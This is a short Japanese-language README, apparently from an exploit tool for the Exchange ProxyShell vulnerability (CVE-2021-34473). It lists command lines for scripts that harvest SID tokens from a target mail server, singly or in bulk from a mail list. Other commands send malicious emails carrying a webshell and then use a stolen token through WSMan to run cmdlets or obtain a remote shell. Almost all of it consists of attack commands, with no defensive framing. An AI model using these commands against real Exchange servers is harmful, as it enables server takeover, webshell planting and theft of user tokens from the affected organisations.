CVE-2021-34473-Exchange-ProxyShell

• python send_webshell_mail.py https://mail16.echod.com [email protected] 単一取得

• python send_webshell_mail.py https://mail16.echod.com crack mail.txt からメールを一括で読み取り、SID トークンの取得を試みます

• python send_webshell_mail.py https://mail16.echod.com [email protected] send (webshell の下書きメールのみ送信)

• python send_webshell_mail.py https://mail16.echod.com crack send 悪意のあるメールを一括送信 （推奨しません）

• python wsman_shell.py https://mail.echod.com [email protected] [ここを取得したトークンに置き換える] ここでは cmdlet に入ってコマンドを実行するだけです

  メール送信後、このコマンドを直接使用して getshell を試すことができます。具体的な Path はスクリプトのパス内で調整できます

• python wsman_shell.py https://mail.echod.com [email protected] [ここを取得したトークンに置き換える] shell

テストメールの送信

シェル応答のテスト eeeee

Crypt_webshell